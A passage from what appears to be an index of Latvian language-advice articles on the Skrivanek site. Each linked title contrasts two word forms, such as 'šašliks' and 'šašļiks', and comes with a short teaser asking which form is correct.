telefons](https://skrivanek.lv/talrunis-pret-telefons/): Vai vizītkartē rakstīsim tālruņa vai telefona numuru? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Šobrīd pret dotajā brīdī](https://skrivanek.lv/sobrid-pret-dotaja-bridi/): Preces nav veikalā dotajā brīdī vai šobrīd? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Parolons pret porolons](https://skrivanek.lv/parolons-pret-porolons/): Vai polsterējumam izmantosim parolonu vai porolonu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Bez maksas vai bezmaksas](https://skrivanek.lv/bez-maksas-pret-bezmaksas/): Pasākumā ir bez maksas vai bezmaksas ieeja? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Karjers pret karjera](https://skrivanek.lv/karjers-pret-karjera/): Ir grants karjera vai grants karjers? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņa, gan sadzīvē. - [Oriģināls pret orģināls](https://skrivanek.lv/originals-pret-orginals/): Vai izstādē skatīsim oriģinālus vai orģinālus darbus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Moderators pret moderātors](https://skrivanek.lv/moderators/): Laika ziņas lasa moderators vai moderātors? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Perspektīvas pret perspektīves](https://skrivanek.lv/perspektivas-pret-perspektives/): Ddomāsim par nākotnes perspektīvām vai perspektīvēm? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Hinkali pret hinkaļi](https://skrivanek.lv/hinkali/): Gruzīnu virtuvei raksturīgi hinkali vai hinkaļi? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Jāatdzīst vai jāatzīst](https://skrivanek.lv/jaatdzist-vai-jaatzist/): Taisnība jāatdzīst vai jāatzīst? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Šašliks pret šašļiks](https://skrivanek.lv/sasliks-pret-sasliks/): Cepsim šašliku vai šašļiku? Ieskaties un uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Atainojums pret attainojums](https://skrivanek.lv/atainojums-pret-attainojums/): Notikumi ziņās tiek atainoti vai attainoti? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Absolvents pret apsolvents](https://skrivanek.lv/absolvents-pret-apsolvents/): Sveicam skolas absolventus vai apsolventus? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Hot-dogs pret hotdogs pret hot dogs](https://skrivanek.lv/hot-dogs-pret-hotdogs/): Ātri pagatavosim un uzkodīsim hot-dogu vai hotdogu, vai hot dogu? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Frančīze pret franšīze](https://skrivanek.lv/francize-pret-fransize/): Vai slēgsim frančīzes vai franšīzes līgumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Turas pret turās](https://skrivanek.lv/turas/): Vai, vēlot izturību un veiksmi, teiksim: „Turas!” vai „Turās!”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Simtgade pret simtsgade](https://skrivanek.lv/simtgade-pret-simtsgade/): Svinam Latvijas simtgadi vai simtsgadi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Trijstūris pret trīsstūris](https://skrivanek.lv/trijsturis-pret-trissturis/): Aprēķināsim trijstūra vai trīsstūra laukumu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi lietišķajā saziņā un sadzīvē. - [Debate pret debates](https://skrivanek.lv/debate-pret-debates/): Vai raidījumā notiek debate vai debates? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Kapa pret kape](https://skrivanek.lv/kapa-pret-kape/): Kurpēm ir kapa vai kape? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Karbons pret ogleklis](https://skrivanek.lv/karbons-pret-ogleklis/): Dažādi viegli un izturīgi materiāli tiek ražoti no karbona vai oglekļa? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Puķkāposti pret ziedkāposti](https://skrivanek.lv/pukkaposti-pret-ziedkaposti/): Vai pusdienās gatavosim puķkāpostus vai ziedkāpostus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Strūdele pret štrūdele](https://skrivanek.lv/strudele-pret-strudele/): Baudīsim ābolu strūdeli vai štrūdeli? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Kā iekļūt mājā?](https://skrivanek.lv/ka-ieklut-maja/): Šoreiz, pērli gatavojot, esam domājuši par durvīm – vai tad, ja galvenās durvis ir ciet, ieeja ir pa blakus durvīm vai blakus durvīs? - [Konditoreja vai konditorija](https://skrivanek.lv/konditoreja-vai-konditorija/): Pēc kūkām dosimies uz konditoreju vai konditoriju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Krems pret krēms](https://skrivanek.lv/krems-pret-krems/): Vai ēdīsim vaniļas kremu vai krēmu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Kvadracikls pret kvadricikls pret kvadrocikls](https://skrivanek.lv/kvadracikls-pret-kvadricikls-pret-kvadrocikls/): Kā sauksim šo četrriteņu motociklu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Laulība pret laulības](https://skrivanek.lv/lauliba-pret-laulibas/): Vai laulības ceremonijā noslēdzam laulības? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Lente pret lenta](https://skrivanek.lv/lente-pret-lenta/): Meitenei matos iesieta lente vai lenta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Lietot pret pielietot](https://skrivanek.lv/lietot-pret-pielietot/): Gūtās zināšanas lietojam vai pielietojam? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Līgo svētki vai Jāņi](https://skrivanek.lv/ligo-svetki-pret-jani/): Kādus svētkus mēs svinam jūnijā – Līgo svētkus vai Jāņus? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Man interesē pret mani interesē](https://skrivanek.lv/man-interese-pret-mani-interese/): Bieži dzirdam gan man interesē sports, gan mani interesē sports. Kā pareizi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Mājaslapa pret tīmekļvietne](https://skrivanek.lv/majaslapa-pret-timeklvietne/): Ko atradīsim uzņēmuma mājaslapā, un ko – tīmekļvietnē? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Miskaste pret atkritumu spainis](https://skrivanek.lv/miskaste-pret-atkritumu-spainis/): Jāiznes miskaste vai atkritumu spainis? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Našķēties pret našķoties](https://skrivanek.lv/nasketies-pret-naskoties/): Vai ar saldumiem našķēsimies vai našķosimies? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Par cik pret tā kā](https://skrivanek.lv/par-cik-pret-ta-ka/): Kāds ir šo vārdu savienojumu lietojums? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Piestādīt vai izrakstīt](https://skrivanek.lv/piestadit-vai-izrakstit/): Rēķinu mums piestāda vai izraksta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Plomba pret plombe](https://skrivanek.lv/plomba-pret-plombe/): Ar ko īsti tiek piepildīts caurums zobā – ar plombu vai plombi? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Privileģēts pret priviliģēts](https://skrivanek.lv/privilegets-pret-priviligets/): Vai tie, kam ir īpašas priekšrocības, ir privileģēti vai priviliģēti? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Propoganda pret propaganda](https://skrivanek.lv/propoganda-pret-propaganda/): Ir propogandas vai propagandas ieroči? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Pulksten 18:00 pret pulksten 18.00](https://skrivanek.lv/pulksten-18-00/): Kā rakstīsim: tiekamies pulksten 18:00 vai tiekamies pulksten 18.00? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Reģipsis pret rīģipsis](https://skrivanek.lv/regipsis-pret-rigipsis/): Kā pareizi sauc šīs ģipškartona loksnes? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Savāds pret citāds](https://skrivanek.lv/savads-pret-citads/): Ko raksturosim kā savādu un ko – kā citādu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Skrūvgriezis pret skrūvgrieznis](https://skrivanek.lv/skruvgriezis-pret-skruvgrieznis/): Vai skrūves skrūvēsim ar skrūvgriezi vai skrūvgriezni? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Slīdrāde pret slaidrāde](https://skrivanek.lv/slidrade-pret-slaidrade/): Angliski to dēvē par „slideshow”. Kā latviski – par slīdrādi vai slaidrādi? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Tūbiņa pret tulbiņa](https://skrivanek.lv/tubina-pret-tulbina/): Vai zobu pasta pildīta tūbiņās vai tulbiņās? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Vairs pret vairāk](https://skrivanek.lv/vairs-pret-vairak/): Vai teiksim „Viņš vairs šeit nedzīvo!” vai „Viņš vairāk šeit nedzīvo!”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Vandalis pret vandālis](https://skrivanek.lv/vandalis-pret-vandalis/): Kā sauksim postītājus – par vandaļiem vai vandāļiem? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Valsts prezidents pret valsts prezidents](https://skrivanek.lv/valsts-prezidents/): Kā pareizi raksta šo amatu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Vantūzs pret atsūcējs](https://skrivanek.lv/vantuzs-pret-atsucejs/): Vai cauruļu tukšošanai izmantosim vantūzu vai atsūcēju? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Vecmāte pret vecāmāte](https://skrivanek.lv/vecmate-pret-vecamate/): Vecmāte un vecāmāte ir viens un tas pats? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Vienreizējs pret vienreizīgs](https://skrivanek.lv/vienreizejs-pret-vienreizigs/): Vai lēkšana ar gumiju ir vienreizējs vai vienreizīgs piedzīvojums? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Zāliens pret zālājs](https://skrivanek.lv/zaliens-pret-zalajs/): Ppie mājas ierīkojam zālāju vai zālienu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Caurule pret truba](https://skrivanek.lv/caurule-pret-truba/): Ūdens plūst pa trubām vai caurulēm? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - [Žirafju pret žirafu](https://skrivanek.lv/zirafju-pret-zirafu/): Vai zoodārzā ir žirafju vai žirafu māja? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Saksafons pret saksofons](https://skrivanek.lv/saksafons-pret-saksofons/): Kā pareizi nosaukt šo pūšaminstrumentu – saksafons vai saksofons? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Es cepju pret es cepu](https://skrivanek.lv/es-cepju-pret-es-cepu/): Kā teikt: „es šobrīd cepju pīrāgus” vai „es šobrīd cepu pīrāgus”? Ieskaties un uzzini pareizo atbildi! Noderīgi saziņai! - [Dekorēt un garnēt](https://skrivanek.lv/dekoret-un-garnet/): Tātad cepumus, kūkas un tortes garnē, bet telpas – dekorē. Daudzi noderīgi latviešu valodas padomi vienuviet! Ieskaties un uzzini atbildi! - [Karavīrs pret kareivis](https://skrivanek.lv/karavirs-pret-kareivis/): Karavīrs vai kareivis – kā ir pareizi? Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. Ieskaties! - [Komponente pret komponents](https://skrivanek.lv/komponente-pret-komponents/): Vai mākslas darbu veido komponentes vai komponenti? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Minerāli pret minerāļi](https://skrivanek.lv/minerali-pret-minerali/): Vai Zemes garozā atrodami minerāli vai minerāļi? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Atzīmēt pret svinēt](https://skrivanek.lv/atzimet-pret-svinet/): Vai dzimšanas dienu atzīmēsim vai svinēsim? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Dizainers pret dizaineris](https://skrivanek.lv/dizainers-pret-dizaineris/): Vārdu lietojumā ar izskaņu „-ers” un „-eris” latviešu valodā ir svārstības. Kā runāsim par dizaineriem? Ieskaties un uzzini atbildi! - [Izlauzt rokas un importēt studentus](https://skrivanek.lv/izlauzt-rokas-un-importet-studentus/): Priekšvēlēšanu diskusiju laikā esam dzirdējuši burtiski kaudzēm versiju, kā partiju kandidāti grasās strādāt turpmākos gadus. Šoreiz izglītības debašu lauks: pašvaldībām izlauztās rokas un Latvijā importētie studenti. - [Separātists pret terorists](https://skrivanek.lv/separatists-pret-terorists/): Vai separātists ir arī terorists, un terorists – separātists? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Nomest svaru pret notievēt](https://skrivanek.lv/nomest-svaru-pret-notievet/): Vai metīsim svaru vai tievēsim? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Franči ēdiena gaumē](https://skrivanek.lv/franci-ediena-gaume/): Ievērojām kādu pusdienu komplektu ar auksto zupu, savukārt otrajā ēdienā – cūkgaļu ananasu gaumē. Diez kādu cūkgaļu izvēlas ananasi? - [Aprikozu ievārījums pret aprikožu ievārījums](https://skrivanek.lv/aprikozu-ievarijums/): Ēdīsim aprikožu ievārījumu vai aprikozu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Trenažieris vai trenežieris](https://skrivanek.lv/trenazieris-vai-trenezieris/): Apmeklēsim trenažieru vai trenežieru zāli? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Aicinām uz skatuves pret aicinām uz skatuvi](https://skrivanek.lv/aicinam-uz-skatuves-pret-aicinam-uz-skatuvi/): Dziedātāju aicināsim uz skatuves vai uz skatuvi? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Kinoja pret kvinoja](https://skrivanek.lv/kinoja-pret-kvinoja/): Vai gatavosim kinojas vai kvinojas salātus? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Seniors pret senjors](https://skrivanek.lv/seniors-pret-senjors/): Deju svētkos uzstājas senioru vai senjoru kolektīvs? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Jānis Rainis pret Rainis](https://skrivanek.lv/janis-rainis-pret-rainis/): Mūsu nozīmīgais rakstnieks ir Rainis vai Jānis Rainis? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Patafons pret patofons](https://skrivanek.lv/patafons-pret-patofons/): Plates atskaņo patafons vai patofons? Uzzini vairāk! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ezoterisks pret ezotērisks](https://skrivanek.lv/ezoterisks-pret-ezoterisks/): Vai lasām ezoterisku vai ezotērisku literatūru? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Plasmasa pret plastmasa](https://skrivanek.lv/plasmasa-pret-plastmasa/): Pasūtīsim plasmasas vai plastmasas logus? Uzzini atbildi! Vairāki noderīgi latviešu valodas padomi vienuviet! - [Espreso pret espresso](https://skrivanek.lv/espreso-pret-espresso/): Vai baudīsim espreso vai espresso? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Greifrūts pret greipfrūts](https://skrivanek.lv/greifruts-pret-greipfruts/): Vai dzersim greifrūtu vai greipfrūtu sulu? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Aizkars pret aizskars](https://skrivanek.lv/aizkars-pret-aizskars/): Pie logiem karam aizkaru vai aizskaru? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ajūrvēda pret ājurvēda](https://skrivanek.lv/ajurveda/): Ievērosim ajūrvēdas vai ājurvēdas principus? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Adaptācija pret adoptācija](https://skrivanek.lv/adaptacija-pret-adoptacija/): Jaunā vidē nepieciešama adaptācija vai adoptācija? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Atpakaļ pret pirms](https://skrivanek.lv/atpakal-pret-pirms/): Pārbaudi vai zini atbildi! Daudzi SKRIVANEK latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Bardaks pret haoss](https://skrivanek.lv/bardaks-pret-haoss/): Lasi vairāk un pārbaudi savas latviešu valodas zināšanas! Daudzi latviešu valodas padomi vienuviet! Noderīgi kā lietišķajā saziņā, tā sadzīvē - [Batereja pret baterija](https://skrivanek.lv/batereja-pret-baterija/): Vai televizora pultī liek baterejas vai baterijas? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Cits aiz cita pret viens aiz otra](https://skrivanek.lv/cits-aiz-cita-pret-viens-aiz-otra/): Pieci cilvēki stāv rindā viens aiz otra vai cits pēc cita? Llatviešu valodas padomi. Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Cukini pret cukīni](https://skrivanek.lv/cukini/): Kā īsti dēvēt mūsu kabača radinieku Itālijā – par cukini, cukīni vai cukīnī? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Džodžoba pret hohoba](https://skrivanek.lv/dzodzoba-pret-hohoba/): Kosmētikā nereti lietots kāds augs, kuru dēvē dažādi – vai to sauc par džodžobu, jojobu vai hohobu? Daudzi latviešu valodas padomi vienuviet! - [Euro pret eiro](https://skrivanek.lv/euro-pret-eiro/): Vai Eiropas Savienībā lietojam eiro vai euro? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Folija pret follijs](https://skrivanek.lv/folija-pret-follijs/): Svētku maltītes gatavošanai jāiegādājas alumīnija folija vai follijs? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Gastranomija pret gastronomija](https://skrivanek.lv/gastranomija-pret-gastronomija/): Sevišķus vēdera priekus dēvēsim par gastranomisku vai gastronomisku baudījumu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Gels pret gēls](https://skrivanek.lv/gels/): Dušā lietojam gelu vai gēlu? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ģerbonis pret ģērbonis](https://skrivanek.lv/gerbonis/): Vai pareizi ir "ģerbonis" vai "ģērbonis"? Kādi ir tā elementi un to nozīme, veidošanās vēsture. Ieskaties šeit un uzzini atbildes! - [Halovīns vai Helovīns](https://skrivanek.lv/halovins-pret-helovins/): Kā dēvēsim 31. oktobra maskošanās svētkus, kuros tiek vilktas baisas maskas, grebti ķirbji un pie durvīm klauvē bērni, saucot Saldumus vai izjokosim!? - [Harisma pret harizma](https://skrivanek.lv/harisma-pret-harizma/): Kā pareizi sauksim šo īpašību kopumu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Hits pret hīts](https://skrivanek.lv/hits/): Vai pa radio skan hiti vai hīti? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Ienākat pret ienāciet](https://skrivanek.lv/ienakat-pret-ienaciet/): Kā būs pareizi: „Lūdzu, ienākat!” vai „Lūdzu, ienāciet!”? Daudzi valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Inkasents pret inkasators](https://skrivanek.lv/inkasents-pret-inkasators/): Vai veikalos pēc naudas nāk inkasenti vai inkasatori? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Spilgti mēteļu rēķini](https://skrivanek.lv/spilgti-metelu-rekini/): Šī pavasara un vasaras sezonas aktuālā tendence esot spilgtas faktūras. Vai runa ir par reljefiem audumiem, spilgtām formām vai jauniem apģērbu ražotājiem? - [Pirmatnējs pret pirmatnīgs](https://skrivanek.lv/pirmatnejs-pret-pirmatnigs/): Vai vārdiem „pirmatnējs” un „pirmatnīgs” ir vienāda nozīme? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Pali pret plūdi](https://skrivanek.lv/pali-pret-pludi/): Kā zināt, kad lietot vārdu „pali” un kad – „plūdi”? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Licence pret sertifikāts](https://skrivanek.lv/licence-pret-sertifikats/): Kā atšķirt „licenci” no „sertifikāta”? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Autoritārs pret autoritatīvs](https://skrivanek.lv/autoritars-pret-autoritativs/): Ar ko atšķiras „autoritārs” no „autoritatīva”? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Pusotra gada vecs bērns vai pusotru gadu vecs bērns](https://skrivanek.lv/pusotra-gada-vecs-berns-vai-pusotru-gadu-vecs-berns/): Vai ir pusotra gada vecs bērns vai pusotru gadu vecs bērns? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Pietrūkst divi punkti pret pietrūkst divu punktu](https://skrivanek.lv/pietrukst-divi-punkti-pret-pietrukst-divu-punktu/): Vai līdz uzvarai spēlē pietrūkst divi punkti vai divu punktu? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Pareizi pret korekti](https://skrivanek.lv/pareizi-pret-korekti/): Uzdevums izpildīts pareizi vai korekti? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Noteikumi nr. 2 pret noteikumi Nr. 2](https://skrivanek.lv/noteikumi-nr-2/): Reizēm saīsinājumu rakstām ar lielo, citkārt – ar mazo sākumburtu. Kā zināsim, kurš būs pareizais? Ieskaties un uzzini atbildi! - [Zelmenis pret zelminis](https://skrivanek.lv/zelmenis-pret-zelminis/): Kas ir zelmenis un kas – zelminis? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [10gadīgs pret desmitgadīgs](https://skrivanek.lv/10gadigs-pret-desmitgadigs/): Vai bērns ir 10gadīgs, 10-gadīgs vai desmitgadīgs? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - [Eskavators pret ekskavators](https://skrivanek.lv/eskavators-pret-ekskavators/): Vai apdrošinātājs izmaksā atlīdzību par nogrimušo eskavatoru vai ekskavatoru? Klikšķini un uzzini pareizo atbildi! - [Satiksimies pēc pus gada pret satiksimies pēc pusgada](https://skrivanek.lv/satiksimies-pec-pus-gada-pret-satiksimies-pec-pusgada/): Kā nosauksim sešus mēnešus ilgu laika posmu? Uzzini! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Saburzīts pret saburznīts](https://skrivanek.lv/saburzits-pret-saburznits/): Vai kleita ir saburzīta vai saburznīta? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Augsti vērtēt pret augstu vērtēt](https://skrivanek.lv/augsti-vertet-pret-augstu-vertet/): Kādu vērtējam augsti vai augstu? Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Citādi pret citādāk](https://skrivanek.lv/citadi-pret-citadak/): Anna ģērbjas citādi vai citādāk nekā Baiba? Lasi atbildi! Vairāki latviešu valodas padomi vienuviet. Noderīgi gan lietišķajā saziņa, gan sadzīvē! - [Lēta cena pret zema cena](https://skrivanek.lv/leta-cena-pret-zema-cena/): Cenas ir lētas vai zemas? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Tas jāpaspēj redzēt pret to jāpaspēj redzēt](https://skrivanek.lv/tas-japaspej-redzet-pret-to-japaspej-redzet/): Vai mums jāpaspēj redzēt kaut kas vai kaut ko? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Plīša pret flīsa pret flīša jaka](https://skrivanek.lv/plisa-pret-flisa-pret-flisa-jaka/): Vai drēgnajā rudenī mūs sildīs plīša, flīsa vai varbūt flīša jaka? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Baldriāns pret buldurjānis pret valeriāns](https://skrivanek.lv/baldrians-pret-buldurjanis-pret-valerians/): Vai mūs nomierinās baldriāna vai buldurjāņa, vai varbūt valeriāna tēja? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Tādejādi pret tādējādi](https://skrivanek.lv/tadejadi/): Kā pareizi rakstāms šis apstākļa vārds? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē - [Pēta pret pētī](https://skrivanek.lv/peta-pret-peti/): Vai zinātnieki pēta vai pētī valodu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - [Magnetafons pret magnetofons](https://skrivanek.lv/magnetafons-pret-magnetofons/): Kā sauksim šo aparātu? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Tulkojums pret tūlkojums](https://skrivanek.lv/tulkojums-pret-tulkojums/): Vai dokumentiem nepieciešams tulkojums vai tūlkojums? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Aperatīvs pret aperetīvs pret aperitīvs](https://skrivanek.lv/aperativs-pret-aperetivs-pret-aperitivs/): Vai pirms maltītes baudīsim aperatīvu vai aperetīvu, vai varbūt aperitīvu? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Skuters pret skūteris](https://skrivanek.lv/skuters-pret-skuteris/): Kur brauksim ar skuteru, kur – ar skūteri? Uzzini! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Kolikvijs pret kolokvijs](https://skrivanek.lv/kolikvijs-pret-kolokvijs/): Studentus biedē kolikvijs vai kolokvijs? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - [Vakums pret vakuums](https://skrivanek.lv/vakums-pret-vakuums/): Mazliet par fiziku un ne tikai – vai rakstīsim „vakums” vai „vakuums”? Ieskaties un uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! - [Karnevāls pret karnivāls](https://skrivanek.lv/karnevals-pret-karnivals/): Vai masku gājieni ir karnevālu vai karnivālu daļa? Ieskaties un uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! - [Cirkā pret cirkū](https://skrivanek.lv/cirka-pret-cirku/): Vai žonglierus sastapsim cirkā vai cirkū? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā 